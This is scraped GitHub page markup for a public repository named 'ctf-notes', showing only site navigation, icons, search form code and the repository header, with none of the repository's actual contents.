<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="66079706" data-scoped-search-url="/73696e65/ctf-notes/search" data-owner-scoped-search-url="/users/73696e65/search" data-unscoped-search-url="/search" data-turbo="false" action="/73696e65/ctf-notes/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="yBTZmYCxmMJVFnZN0oCpxVfjU1grQ40jloG9rB/5lm/pbGqi4p4uXGY2JN5s65r5cf36atswljry0Sizv1BZfw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 73696e65 </span> <span>/</span> ctf-notes
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>6</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>23</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
